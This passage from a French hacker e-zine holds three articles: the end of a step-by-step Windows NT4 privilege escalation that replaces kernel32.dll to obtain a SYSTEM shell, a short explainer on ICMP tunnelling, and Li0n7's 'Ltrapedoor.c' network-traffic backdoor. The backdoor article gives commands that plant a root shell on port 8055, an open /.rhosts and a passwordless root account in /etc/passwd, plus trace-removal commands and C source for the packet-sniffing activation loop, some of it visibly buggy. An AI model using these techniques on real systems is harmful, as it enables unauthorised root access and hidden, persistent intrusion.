            sur un point par rapport  la version originale :

Le point d'entre (DLLMain), appel systmatiquement  chaque chargement
de la DLL par n'importe quel processus, a t rcrit compltement. Toutes
les autres API renvoient simplement  la DLL d'origine. DLLmain effectue
une numration des objets "Windows Station", puis pour chaque, numration
des "Windows Desktop", avec communication du nom du propritaire de l'objet
et interrogation de l'utilisateur s'il veut lancer ou non un "shell" pour
cette station/desktop.

Tant qu'il voit son nom comme propritaire, l'utilisateur doit rpondre
"non", jusqu' ce qu'apparaisse comme propritaire : AUTORITE NT/SYSTEM.
A ce moment l, la DLL modifie kernel32 va ouvrir une fentre console
de commandes (command.com de DOS), mais qui n'a rien d'anodine, puisque
le propritaire en est  AUTORITE NT/SYSTEM. Donc tout processus excut
depuis cette fentre va hriter des droits AUTORITE NT/SYSTEM,  c'est 
dire avec le plus haut niveau de privilges ! Ainsi, l'utilisateur n'ayant
aucun droit - en thorie - pourra donc excuter le gestionnaire des
utilisateurs, ouvrir son compte, et le modifier  sa guise, en s'octroyant
par exemple le niveau administrateur.





        2-  Choix d'une tche qui dclenche indirectement un processus
            ayant AUTORITE NT/SYSTEM comme propritaire :


Toute application "classique" lance par l'utilisateur hrite des privilges
de l'utilisateur, mais il peut y avoir des processus intermdiaires, lancs
alors par Windows, et ayant alors AUTORITE NT/SYSTEM comme propritaire. Cela
se produit quand on lance une application d'un autre sous-systme. On rappelle
 cet effet qu'il y a 3 sous-systmes sous Windows NT, en mode "user" (mode protg),
situs au dessus du systme de base, en mode "kernel" (non protg) :



        Win32 (Applications Windows 32 bits + NT Virtual DOS Machine, dans
         laquelle s'excuteront les applications Windows 16 bits et les
         applications DOS)


        POSIX (Applications en mode caractre, normalises, portables sous
         d'autres systmes d'exploitation telles que UNIX)

        OS/2 (Applications en mode caractre du systme d'exploitation d'IBM)


Par dfaut, une session Windows est dans le sous-systme Win32. Les autres
sous-systmes (POSIX et OS/2) sont alors inactifs. Si, depuis une fentre
de commandes (Win32) on lance une application POSIX, cela va se traduire par
l'excution premire du processus Win32 psxss.exe (Application sous-systme
POSIX, qui va donner le contrle ensuite  la DLL Client POSIX psxdll.dll).
Or ce processus, qui  ncessite temporairement le passage en mode kernel, a
donc pour propritaire AUTORITE NT/SYSTEM. Par ailleurs, psxss.exe fait appel
 kernel32.dll (ne serait-ce que pour les API LoadLibrary et GetProcAddress).
Donc il va provoquer  un certain moment l'excution du point d'entre modifi
de kernel32.dll, et ainsi permettre le lancement d'un shell appartenant  AUTORITE
NT/SYSTEM.






    III. Mode opratoire :
    ______________________


On utilise deux fichiers fournis par L0pht
http://www.bellamyjc.net/download/failleNT4/hackdll.zip


         eggdll.dll :   version modifie de kernel32.dll

         hackdll.exe :  excutable permettant la suppression et le remplacement
                         d'un objet dans le cache la syntaxe  est trs simple :

                        - suppression d'un objet : hackdll -d <nom_objet_dll>
                        - ajout d'un objet : hackdll -a <nom_objet_dll> <chemin_fichier_dll>


Par ailleurs, on a cr un compte dans le groupe "invits" (aucun privilge) du
nom de "DICK". On commence par recopier dans le rpertoire  c:temp la DLL originale
kernel32.dll, renomme ici en realkern.dll. Ce rpertoire et ce nouveau nom sont
obligatoires, la nouvelle DLL eggdll.dll effectuant une redirection "en dur" (nom
et chemin) vers elle.


L0pht ayant fourni les sources http://www.bellamyjc.net/download/failleNT4/hackdllsrc.zip
il est toutefois possible de recompiler  cette librairie si on veut changer de nom
et/ou de rpertoire. Ensuite on lance une session sous le compte DICK.


On ouvre une fentre de commandes, dans laquelle on vide du cache la DLL kernel32.Dll,
puis on la remplace par eggdll.dll. Voir image : image2.gif

Il ne faut plus toucher  cette fentre, toute action provoquant le retour  la
situation initiale.


Depuis une autre fentre de commandes, on lance une commande POSIX. Le Ressource KIT
de NT en contient tout un rpertoire (commandes "vi", "ls", "cat", "rmdir", "grep",...),
mais on peut toujours se contenter de taper par exemple la commande posix /c calc (NB: le
programme "calc" a t pris au hasard. Ce n'est pas un programme POSIX, donc il y aura 
la fin un refus de la part du lanceur "posix" de l'excuter, mais cela n'a pas d'importance,
puisque ce que l'on dsire seulement  est le dmarrage du processus psxss.exe)


Une premire boite de dialogue apparat : image3.gif

On rpond ici "Non", car le propritaire est pour l'instant "DICK"

D'autres boites analogues vont se suivre, jusqua ce qu'apparaisse : image4.gif

On rpond alors "Oui"  cette question puis  celles qui suivent ( image5.gif ).

Une fentre de commande nomme "System Console" apparat alors :
Fentre console cre par kernel32.dll
Le propritaire est AUTORITE NT
Lancement du gestionnaire d'utilisateurs depuis cette fentre.

On peut modifier totalement le compte "DICK" et les autres ! ( voir image6.gif ).

Fentre console ouverte normalement par DICK.
Le propritaire est DICK
Lancement du gestionnaire d'utilisateurs depuis cette fentre.
On ne peut pas modifier le compte "DICK" !

On peut d'ailleurs vrifier cette "dualit" de comptes, en excutant la
commande whoami, soit depuis une fentre de commandes traditionnelle, soit
depuis une fentre de commandes lance depuis la fentre System Console.



[ Conclusion ]

Voila cest la fin. Dans un prochain article peut tre je vous dmontrerai
comment contrer cette faille. Mais rien nest moins sur. Dici la ne faites
pas trop de btises et rappelez vous que je ne suis en aucun cas responsables
de vos actes.












---------------------------------------------------------------------------------------
VI.              Introducion au TUnneling ICMP                                   MeiK
---------------------------------------------------------------------------------------


[ Introduction ]

Peut-tre avez vous un jour t confront au problme suivant : relier deux
machines n'tant pas situes sur le mme rseau avec un firewall au milieu.
Peut-tre aussi ne savez vous pas si vous devez bloquer le traffic ICMP du
genre ICMP_ECHO...cet article vous aidera je l'espre  prendre votre
dcision assez vite, car vous allez voir qu'il est possible d'changer des
informations par le biais du protocole ICMP.


[ Firewall ]

Le but premier d'un firewall : dfendre une machine / un rseau, d'une autre
machine / un autre  rseau. Tout le traffic provenant de l'extrieur du
rseau protg doit passer par le firewall, mais seul le traffic autoris
pourra passer de l'autre ct du firewall - le reste sera rejet. Bien sur,
cela est comme a dans le meilleur des cas : lorsque le firewall est
immunis.




[ ICMP_ECHO ]

Je ne vais pas dcrire en dtail le protocole ICMP, il existe de trs bons
documents pour cela. Ce protocole sert surtout  dtecter des erreurs sur un
rseau. Les paquets ICMP, tout comme pour les paquets TCP et UDP, sont
encapsuls dans un paquet IP. Il existe 15 types de paquets ICMP, mais nous
allons nous pencher sur deux types de paquets particuliers : les types 0 et
8 (ICMP_ECHO_REPLY et ICMP_ECHO_REQUEST).

Dans la thorie, une machine cliente envoie un paquet ICMP_ECHO_REQUEST 
une machine qu'on qualifie de serveur, dans l'attente que cette dernire lui
rponde par un ICMP_ECHO_REPLY. En fait, la machine serveur n'a pas de
serveur  proprement parler coutant au niveau du protocole ICMP. En fait
c'est le Kernel du systme qui rpond. Bon, a c'est la raison d'tre du
programme PING, et non, ce programme n'a  la base pas t fait pour trouver
des adresses IP, ni pour flooder, il a t fait pour vrifier qu'une machine
est bien accessible.





[ Covert Channels ]

En rsum, un covert channel est un "canal de communication" pouvant tre
utilis afin d'changer des donnes, mais pas un canal utilis ordinairement
pour a justement. N'importe quel bit de donne peut-tre un covert channel
en fait, ce qui fait qu'ils sont trs difficiles  dtecter et peuvent
mettre grandement en danger la scurit d'un systme. Il suffit de savoir ce
que l'on cherche en fait (o, quand, comment). Dans le cas d'un covert
channel ICMP, ce qui peut vous mettre la puce  l'oreille serait un fort
traffic ICMP justement. Bon, ceux qui ont le plus de mthodologie
implanteraient directement le daemon directement dans le kernel et
gnreraient le moins de traffic possible.

[ Pourquoi ... ]
Pourquoi avoir besoin de relier deux machines ne faisant pas partie du mme
rseau, ensemble ? cette question peut ammener plusieurs rponses. Vous
pouvez trs bien tre chez vous et avoir besoin de documents qui sont sur
votre machine sur votre lieu de travail, mais vu que cette machine faisant
partie d'un rseau priv, vous n'avez aucun moyen d'y accder directement.
Il y a bien videment la solution consistant  mettre vos documents sur un
serveur ftp quelconque (je sais pas, prenez Multimania par exemple), mais il
y a toujours le risque que quelqu'un dcouvre ces informations et les
prenne, et voici votre travail confidentiel devenu connu de quelqu'un que
vous ne connaissez pas.




[ ...Comment]

Il existe un programme de tunneling, dont je citerais le nom aprs cette
explication, qui encapsule des donnes arbitraires dans des paquets
ICMP_ECHO_* et par consquent, exploite le covert channel existant 
l'intrieur de ce traffic ICMP_ECHO. Comme le fait remarquer Route dans son
article sur le tunneling ICMP, c'est une forme de stganographie, car les
donnes "secrtes" sont planques dans un paquet "classique". Les donnes
tant encapsules et cryptes, cela est normal.




[ Loki ]

Loki est un programme de tunneling ICMP comme vous pouvez vous en douter,
qui peut tre utilis pour contourner des firewalls (enfin, plutot passer au
travers on va dire). Du moment que le traffic ICMP_ECHO est autoris, le
covert channel utilis par Loki existe.
Je suis galement en train de (tenter de) coder un programme de tunneling
ICMP. Vu que je m'y suis pris un peu tard (ce matin du 1er Novembre), il ne
sera pas prt pour ce numro de IOC, mais peut-tre pour le prochain (il y a
intrt !).




[ La Solution Finale ]

La seule solution  ce genre de tunneling serait d'interdire toute forme de
traffic ICMP_ECHO sur votre rseau. Autoriser les paquets ICMP venant
d'hotes de confiance ne rsoudrait rien, parce que le spoofing ICMP est
relativement ais, car c'est un protocole qui ne se base pas sur une
connexion comme TCP. Il existe aussi un moyen, utiliser une sorte de
firewall qui regarderait le contenu des paquets, et s'il voit que ce n'est
pas un paquet ICMP_ECHO classique, il agit selon ce que l'admin a dfini.



[ Bibliographie ]

Covert Shells - J. Christian Smith
Project Loki - Route














---------------------------------------------------------------------------------------
VII.        Network Traffic Backdoor  -  Ltrapedoor.c                           Li0n7
---------------------------------------------------------------------------------------




[ Introduction ]

Une backdoor est un petit programme permettant  un pirate de regagner
l'accs perdu sur un systme prcdemment pntr. Mme s'il est vrai
que l'heure est plus  l'utilisation de lkm ou de kernel based backdoors,
les backdoors classiques restent encore des outils, bien que proposant
des techniques d'invisiblit moins pousses, qui permettent de conserver
un accs  long terme. L'incovnient des lkm (i.e Loadable Kernel Module)
rside dans le fait que la programmation de modules ne permet pas d'utiliser
les librairies de la classique libc, ils sont donc beaucoup plus complexes 
programmer (bien que la majorit des programmeurs se limitent au classique et
n'innovent pas beaucoup dans le domaine). Neofox dans les issues #1 et #2 d'IOC
magazine posait dj les bases de la programmation de backdoors, je prends
le relai et vous propose l'tude d'une backdoor avance.



          [ Sommaire ]

              I.   Description
              II.  Programmation
              III. Code source
              IV.  Conclusion





    I. Description :
    ________________


Il faut savoir qu'il existe un nombre consquent de types de backdoors,
des binaires trojaniss, timestamp backdoors, jusqu'aux kernel backdoors
en passant par les library backdoors. Je vous passe les explications lies
 toutes ces techniques de camouflage sur un serveur, mais sachez qu'on
peut regrouper les backdoors dites "calssiques" en deux classes : les remote
backdoors, et les local backdoors. Inutile de faire durer le suspens, cet
article est lie  l'tude des network traffic backdoors, donc de type remote.

Le principe est trs simple, la majorit des backdoors en attente d'une
connection affichent de faon continue un port ouvert en listening. Un
simple scan de port de l'extrieur ou mme de la machine attaque
suffit  dceler la prsence d'un pirate. Notre backdoor, quant  elle,
au lieu d'couter un port perptuellement en attente de binding de shell,
s'activera sur la rception d'une certaine squence de paquets.

Pour cela, il nous faut exploiter les diffrents protocoles rgissant le
rseau actuel,  savoir UDP(17), TCP(6), ICMP(1). Le protocole UDP est
parfait dans le cadre de notre squencement de paquet, il possde d'une
structure gnrique extrmement simple, de plus les paquets UDP, sur un
local, sont trs nombreux  circuler, ainsi il sera plus difficile de
dtecter notre prsence. De plus beaucoup de firewalls laissent entrer par
dfaut des paquets UDP  travers un rseau, comme les services DNS. Le
protocole ICMP est lui aussi fiable, du fait que son utilisation rside
dans le ressencement de machines  travers un rseau, ainsi, l encore
beaucoup de firewalls laissent les systmes se faire pinger ouvertement !
Et enfin, le protocole TCP, le plus bruyant de tous, mais aussi le plus
complexe de par sa trs riche structure en champs (cf datagramme TCP) nous
permettra d'utiliser un grand nombre de combinaisons diffrentes dans la
cration du message d'activation de la backdoor.




[ Communication avec la backdoor ]

Le concept est simple : le pirate communique avec la backdoor place sur
le systme dont il a perdu l'accs, avec comme passerelle un quelconque
rseau (internet, intranet), et comme support une srie de messages pr-
-dfinis lors de l'installation de celle-ci. Les messages se prsentent
sous la forme de paquets tcp/udp/icmp ordonns selon un odre bien prcis.
Nous mettrons en place trois mthodes d'authentification et communication :

       o La premire rside sur un squencement de paquets.
         Il y a deux types de messages : les messages d'activation et de
         fermeture. Ainsi, imaginons que le pirate construise son message
         avec respectivement: trois paquets udp, un paquet tcp, deux paquets
         icmp, la machine cible recevant ses paquets dans l'ordre respectif,
         la backdoor prsente bindera alors un shell, dans le cas contraire,
         si l'ordre est incorrect, le message est reinitialis  0 pour attente
         d'une nouvelle tentative de connexion. Notez que la furtivit de la
         backdoor repose sur la patience du pirate, plus le temps coul entre
         chaque paquet sera long et plus les chances de l'administrateur de
         dtecter notre petit programme seront minces. Mais un problme majeur
         se prsente : par dfaut un grand nombre de paquets circulent sur le
         rseau, et notre message d'activation pourra se voir corrompu par des
         paquets envoys  la machine cible entre les diffrents paquets que
         nous enverrons. Ainsi, le temps coul entre chaque envoi devra tre
         choisi avec soin en fonction du type de rseau, du type de serveur, du
         type de traffic et de l'heure.
         Vous l'avez compris, les paquets icmp ou udp dans le cas d'un serveur
         web seront plus fiables car plus rares que leurs homologues tcp.


       o La seconde ncssite l'utilisation de paquets "mal-forms" ou dits
         rares. En effet, certains champs des protocoles ip/tcp/udp/icmp sont
         souvent inutiliss ou peuvent prendre des valeurs originales. Je pense
         au protocole IP, qui actuellement est utilis sous la mouture IPV4, la
         version de l'ip est dfinie via le champ ip->version, ainsi en lui
         assignant la version 6, nous obtenons un paquet informe (la version 6
         du protocole IP ne correspond pas  l'header de la version 4), ou encore
         certains codes de messages icmp comme le code 3 (destination unreachable)
         utilis dans le cadre d'un ping, ou encore le code 30 caractrisant le
         tracerouting. Notez que la machine cible doit prendre charge l'IPv6, sans
         cela, machine peut planter.


       o La troisime et dernire se base sur l'analyse des champs d'adressage IP
         source et destination du datagramme IP. Au dbut du code de la backdoors
         des constantes sont dclares, lors de la boucle de rception des paquets,
         si un quelconque paquet prsente une IP source correspondant  la constante
         dclare, alors la backdoor s'active selon les options pralablement dfinies.
         Seuls les protocoles ICMP et UDP sont pris en considration par cette technique.





[ UDP/ICMP GRABBING - BLIND ACTIVITY ]

L'accs  certains systmes est souvent gard par des firewalls, qu'ils soient
configurs de faon honorable ou non n'est pas de notre ressort, mais la majorit
des pares-feu dropperons les paquets tcp envoys non autoriss. Ainsi, via la
mthode de squencement udp/icmp, nous pourrons nous garentir l'activation de la
trappe, mais il se peut qu'un firewall prsente des rticences quand  l'intgrit
des commandes que nous enverrons au shell. Il nous faut donc trouver un moyen
d'envoyer les commandes de manire parfaitement invisible. Ceci se fait trs
simplement en utilisant des techniques d'udp/icmp grabbing. Le principe est
simple, comme expliqu prcedemment, beaucoup de firewalls n'empchent pas la
rception des paquets udp et icmp, il nous suffit alors d'insrer nos commandes
dans le champ data de chacun des datagrammes, on encapsule le tout et on envoie !
La communication se fait donc  travers un tunnel que nous crons. Je n'ai pas
particulirement travaill ce mode, ainsi deux problmes majeurs se prsentent :
Aucun algorithme de chiffrement des donnes (nos commandes) n'est utilis,
l'administrateur rseau peut alors trs facilement dceler notre activit, et
en deuxime lieu la communication ne se fait que dans un sens, ainsi seules des
commandes telles que insmod, rmmod, kill, rm, sed, echo..etc peuvent tre utiliss
le flux de sortie ne pouvant tre lu (un ls serait futile vu que la sortie ne
s'afficherait pas sur notre cran), d'ou le nom "activit  l'aveuglette".




[ Activit de la backdoor ]

Ayant authentifi le pirate dsireux de s'approprier le systme de la
victime, la backdoor s'active. Il faut comprendre par l qu'avant de laisser
la main au pirate via un shell qu'elle bind sur le port 8055 (!), elle xcute
quelques fonctions qui permettent de laisser une porte ouverte de faon continue
sur le systme (si le pirate l'a spcifi lors de l'xcution de la trappe sur
le systme cible). Ainsi, aprs le squencement de paquets reu sans encombre,
la backdoor est programme pour xcuter l'quivalent des commandes suivantes :

# echo 8055  stream  tcp     nowait  root    /bin/sh  sh >> /tmp/.ind
# echo + + >> /.rhosts
# echo $user::0:0:$user:/root:/bash >> /etc/passwd

Notez que l'ensemble des commandes est xcut si le pirate le spcifie, il
peut par exemple choisir de n'xcuter que le dernier echo. Ainsi, 3 portes
sont ouvertes sur le systme, un accs root sur le 8055, un accs root rsh/rlogin,
un compte root permanent. Enfin lors de la fermeture de la backdoor (commande par
la rcption d'un message de fermeture), la backdoor sur ordre du pirate peut
effacer quelques unes de ses traces (notez que je n'ai pas travaill l'tape de
clean logging, c'est vous d'effacer vos traces dans certains logs), l'quivalent
des commandes suivantes sont xcutes :

# rm -f /tmp/.ind
# rm -f /.rhosts
# cat /etc/passwd | grep -v $user > /etc/passwd

Ces trois commandes, permettent de dtruire les fichiers sensibles permettant
 un quelconque autre individu de pntrer le systme que nous avons root sans
permission, et de manire gnrale, de dtecter la prsence d'un pirate sur ce
systme.



[ Scuriser un systme ]

Les diverses techniques lies  la scurit des systmes contre les trappes
ne sont pas le sujet de cette article, et je vais me contenter ici de donner
quelques ides. Tout d'abord, actuellement beaucoup de lkms sont en vogue sur
le rseau des rseaux, il est donc important de se protger efficacement contre
ce type de backdoor. C'est un sujet trs complexe de par le nombre consquents
de techniques de dtections possibles. Beaucoup de lkm dtournent des syscalls
lies au systme de fichier (Filesystem) comme query_module/getdents/write/open
pour se cacher aux yeux de certaines commandes comme ps, lsmod, rmmod, kstat, cat,
ls... Ainsi, sans le nom exact du module charge en mmoire ou des connaissances
pointues de son systme, ce genre de backdoor resteront indtectables  long
terme. Sachez tout de mme que la majorit des lkm ne dtournent pas l'ensemble des
appels systmes lies  l'analyse d'un systme de fichiers voici quelques commandes
intrssantes :

   # lsmod                               /* pour afficher la liste des modules charges                         */
   # grep <nom> /proc/modules            /* cherche le module <nom>                                             */
   # ls -l /lib/modules/<kernel_version> /* affiche les modules charges par dfaut  chaque boot               */
   # cat /proc/modules                   /* analyse /proc/modules                                               */
   # ps -aux                             /* pour afficher la liste des processus                                */
   # kstat -s/-m                         /* liste les modules, adresses des syscalls et processus de /dev/kmem/ */
   # rmmod <nom>                         /* supprime le module entr en argument                                */

Nous n'tudierons pas le fonctionnement de chacune de ces commandes, retenez
juste que des modules dtournent des appels systmes comme SYS_GETDENTS (pour
masquer la prsence d'un fichier dans un rpertoire), SYS_WRITE (pour manipuler
les flux de sorties et les rsultats affichs  l'cran), SYS_OPEN (pour masquer
le contenu d'un fichier en retournant des erreurs par exemple), SYS_QUERYMODULE
(dtourne lsmod et rmmod) ou encore SYS_EXECVE (redirige alors l'xcution d'un
fichier), SYS_SOCKETCALL (manipulation de sockets, essentiel pour la programmation
d'une backdoor).

Dans le cas de backdoors classiques comme celle que nous allons programmer,
la protection d'un systme ne se limite pas  l'xcution de quelques commandes
types, mais  l'implmentation de systmes ids/hids (snort) efficaces,  la
surveillance du rseau et  la vigilance de l'administrateur. Il est alors
conseill de commuter le rseau pour viter  un ventuel pirate ayant gagn
l'accs sur votre machine de mettre main basse sur votre rseau entier. La mise
en place d'un firewall bien configur "droppant" les pings est particulirement
recommand. Notre backdoor sniffera les paquets entrant et sortant en mode
promiscuous (voir article sniffing), ainsi, un simple antisniff vous suffira de
la dceler. N'oubliez pas de vrifier constamment la liste des process, vos logs (wtmp,
utmp, lastlog, xferlog, maillog, mail, httpd.error_log,n http.acces_log...etc) ainsi
que des fichiers rgissant l'accs  votre machine (rhosts, /etc/passwd...).







    II. Programmation :
    ___________________


Nous touchons enfin  la partie ludique de cette article : la programmation
d'une network traffic backdoor polyvalente. Comme les fois prcdentes, nous
tudierons successivement les diffrentes fonctions du code source, avec si
ncssaire quelques largissements.  Voici venu le temps de vous prsenter
la backdoor dans son intgralit, et, comme lsniff elle prsente diffrents
modes de fonctionnement :


    -h<mdp>  : password de protection

    -i  : echo 8005  stream  tcp     nowait  root    /bin/sh  sh >> tmp/.ind

    -r  : echo + + >> /.rhosts

    -p<user>  : echo user::0:0:user:/root:/bash >> /etc/passwd

    -c<cle>  : code d'activation de la backdoor (type integer) Remarque: udp = 2; tcp = 0; tcp = 1

    -f  : mode informe, utilise paquets informes pour communiquer avec le serveur

    -d  : mode d'adressage ip, ip dfinie lors de la compilation

    -a  : mode AF, envoi des commandes  travers des paquets udp/icmp

    -h<mdp>  : cet argument prcde le mot de passe dfini lors de la compilation,
               si ce mot de passe est invalide, ou l'argument manquant, la backdoor
               se fermera.

    -i  : glisse la ligne "5002  stream  tcp     nowait  root    /bin/sh  sh" dans tmp/.ind
          pour permettre un accs root sur le port 8005.

    -r: cre un fichier .rhost ++, accs root rsh/rlogin

    -p<user>  : cre un compte root sans password avec pour nom <user>

    -c<cle>  : code d'activation de la backdoor (voir algorithme)

    -f  : mode informe, la backdoor s'active sur rcption de paquets rares (ex: ip->version = 6)

    -d  : mode d'adressage ip, la backdoor s'active sur rception d'un paquet
         udp/icmp avec pour ip->saddr l'ip dfinie lors de la compilation

    -a  : mode anti-firewall, les commandes ne sont pas directement envoyes sur
          le shell bind sur le 8005 mais encapsules dans le champs data de paquets
          udp/icmp puis xcutes par la backdoor.




Passons  la programmation brute de la trappe, le code source est assez long, trs difficile
 lire car j'ai essay de le prsenter le plus explicit possible, ainsi, certaines fonctions
se rptent et les variables ont des noms assez longs. Pour les structures telles que rcvpacket,
ip, tcp, udp, icmp se rfrer  mon article Advanced sniffing.





[ Point d'entre ]

Notre fonction main,  l'habitude je cre une boucle qui switch les diffrents arguments pour
dterminer les diffrents modes choisies, la cl d'activation, le password...  Les variables
inetd, rsh, pass, informe, ip_mode, protected_mode sont de type integer mais jouent le rle
de booleans, par dfaut elles prennent la valeur 0 (false), puis slectionns par le pirate
elles valent 1(true). La variable inetd reprsente l'argument -i, rsh -r, pass -p, informe -f,
ip_mode -d, protected_mode -a.

int main(int argc, char *argv[])
{
/* Dclaration des variables */
int inetd=0, rsh=0, pass=0, informe = 0, ip_mode = 0, protected_mode = 0;

/* cle = cl d'activation de la backdoor (voir plus bas) */
/* passv = nom d'user pour le mode -p                    */
/* endvalue = cl de fermeture                           */

char *cle, *passv, *endvalue;

/* Allocation dynamique de mmoire pour viter les segfaults */
cle = (char *)malloc(1024);
passv = (char *)malloc(1024);
endvalue = (char *)malloc(1024);

/* Valeurs par dfaut */
endvalue = "22";
passv = "user";
cle = "21";

/* Vrification du password, si invalide on quitte */

if((strcmp(PWD, getpass("password: "))) != 0) return 0;
if (argc < 3){

/* si argument < 3 alors on affiche l'aide et on quitte */
    usage();
    } else {
/* Boucle de lecture des diffrents arguments (old way) */
            while((argc>1)&&(argv[1][0]=='-'))
                     {
                 switch(argv[1][1])
                        {
/* Switch des arguments (voir plus haut les correspondances) */
                         case 'i':
                          inetd = 1;
                         break;

                         case 'r':
                          rsh = 1;
                         break;

                         case 'p':
                          pass = 1;
                          passv = &argv[1][2];
                         break;

                         case 'c':
                          cle = &argv[1][2];
                         break;

                         case 'e':
                           endvalue = &argv[1][2];
                         break;

                         case 'f':
                           informe = 1;
                         break;

                         case 'd':
                           ip_mode = 1;
                         break;

                         case 'a':
                           protected_mode = 1;
                         break;

                        }
                   --argc;
                  ++argv;
                 }
       }

/* Si le mode d'adressage ip a t choisie alors on call waiting_ip */
if (ip_mode == 1){
  waiting_ip(inetd, rsh, pass, protected_mode, passv);
} else {
/* Sinon death_looping (pour mode informe, ou mode normal)
death_looping(inetd, rsh, pass, informe, protected_mode, cle, passv, endvalue);
}

return 0;
}






[ death_looping ]

Cette fonction est construite autour d'une boucle de lecture des diffrents
paquets que la carte rseau passe en mode promiscous reoit. Cette fonction
est appele dans un mode normal ou informe. Nous allons maintenant (enfin !)
parler de la cl d'activation (mode normal). Le pirate la dfini lors du lancement
de la trappe sur le systme cible sous forme d'integer, trois chiffres sont permis
0, 1, 2. La rception d'un paquet ICMP correspond  la valeur 0, un paquet TCP  la
valeur 1 et un paquet UDP  la valeur 2. A chaque rception de paquet, on vrifie le
mode choisi, si mode d'adressage ip, on vrifie l'IP destinataire, si mode normal,
si la cl de valeurs cumules correspond  la cl d'activation,




int death_looping(int inetd, int rsh, int pass, int informe, int protected_mode, char *cle, char *passv, char *endvalue)
{
    int i;

/* voir article advanced sniffing */
   ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
   tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
   icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
   udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);

/* allocation dynamique de mmoire */
   mes = (char *)malloc(1024);
   daddr = (char *)malloc(1024);
   d = (unsigned char *)&(ip->daddr);

/* mise en mode promiscous de la carte rseau */
   sockfd = ouvre_interface("eth0");

/* bouble de rception des paquets */
    while(1){
      size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
      if(size<0)
	return -1;
      if (size < sizeof(struct ether_header))
	continue;

/* si protocole = ICMP */
      if((ip->protocol) == 1){

/* si icmp -> type = host unreachable et mode informe choisie */
       if ((icmp->type == 3) && (informe == 1)){
/* on ferme la trappe */
        close_door(inetd, rsh, pass, passv);
       } else {
/* Sinon on rajoute la valeur correspondant au paquet icmp (0)  la suite de la cl de chiffres cumuls */
        strcat(mes,"0");
/* Si la cl est valide, on active la backdoor puis on reset la cl de chiffres cumuls */
        if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
           open_door(inetd, rsh, pass, protected_mode, passv);
           memset(mes, 0, 1024);
/* sinon on reset juste la cl de chiffre cumuls (ccc) */
        } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
           memset(mes, 0, 1024);
        }
/* si la ccc est gale  la cl de fermeture alors on ferme la trappe et on reset la ccc */
        if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
           close_door(inetd, rsh, pass, passv);
           memset(mes, 0, 1024);
        } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
/* sinon, on ignore */
           memset(mes, 0, 1024);
        }
     }
   }


/* si protocole = TCP */
      if((ip->protocol) == 6){
/* si ip->version = IPv6 et mode informe choisie */
       if((ip->version == 6) && (informe == 1)){
/* on ouvre la trappe */
          open_door(inetd, rsh, pass, protected_mode, passv);
       } else {
/* Sinon on rajoute la valeur correspondant au paquet tcp(1)  la suite de la cl de chiffres cumuls */
         strcat(mes,"1");
        if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
/* Si la cl est valide, on active la backdoor puis on reset la cl de chiffres cumuls */
           open_door(inetd, rsh, pass, protected_mode, passv);
           memset(mes, 0, 1024);
/* sinon on reset juste la cl de chiffre cumuls (ccc) */
        } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
           memset(mes, 0, 1024);
        }
/* si la ccc est gale  la cl de fermeture alors on ferme la trappe et on reset la ccc */
        if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
           close_door(inetd, rsh, pass, passv);
           memset(mes, 0, 1024);
        } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
/* sinon, on ignore */
           memset(mes, 0, 1024);
        }
      }
   }

/* si protocole = UDP */
      if((ip->protocol) == 17){
/* on rajoute la valeur correspondant au paquet udp (2) a la suite de la cl de chiffres cumuls */
         strcat(mes,"2");
/* Si la cl est valide, on active la backdoor puis on reset la cl de chiffres cumuls */
        if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
           open_door(inetd, rsh, pass, protected_mode, passv);
           memset(mes, 0, 1024);
/* sinon on reset juste la cl de chiffre cumuls (ccc) */
        } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
           memset(mes, 0, 1024);
        }
/* si la ccc est gale  la cl de fermeture alors on ferme la trappe et on reset la ccc */
        if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
           close_door(inetd, rsh, pass, passv);
           memset(mes, 0, 1024);
        } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
/* sinon, on ignore (on reset mes) */
           memset(mes, 0, 1024);
        }
   }

}
return 0;
}







[ Waiting_ip ]

A l'instar de death_looping, cette fonction s'articule autour d'une
boucle principale de capture des paquets reus. Cette fonction est
appele avec le mode d'adressage ip, qui rappelons le, active la backdoor
sur rceptions de paquets caractriss par le champs IP destination address
correspondant  l'IP dfini dans le code source. Nous allons, pour comparer
la constante IP et le champs ip->daddr (unsigned char), cre une fonction
"make_ip" (voir plus bas) qui transforme ip->daddr en adresse IP conventionelle.





int waiting_ip(int inetd, int rsh, int pass, int protected_mode, char *passv){

   int i;
   char *net_ip; /* char qui contiendra l'adresse IP ip->daddr transforme */
   unsigned char *d; /* contiendra ip->daddr */

   ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
   tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
   icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
   udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);

/* Allocation dynamique de mmoire */
   net_ip = (char *)malloc(1024);
   d = (unsigned char *)&(ip->daddr);

/* mise en mode promiscuous de la carte rseau */
sockfd = ouvre_interface("eth0");
    while(1){
      size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
      if(size<0)
	return -1;
      if (size < sizeof(struct ether_header))
	continue;
/* si protocole = UDP */
      if(ip->protocol == 17){
/* transformation de ip->daddr en ip conventionelle */
        net_ip = make_ip(d);
         if(net_ip = DADDR)
/* Ouverture de la backdoor */
          open_door(inetd, rsh, pass, protected_mode, passv);
      }

/* si protocole = ICMP */
     if(ip->protocol == 1){
/* transformation de ip->daddr en ip conventionelle */
        net_ip = make_ip(d);
        if(net_ip = DADDR)
/* Fermeture de la backdoor */
          close_door(inetd, rsh, pass, passv);
    }
   }
return 0;
}








[ Protected mode ]

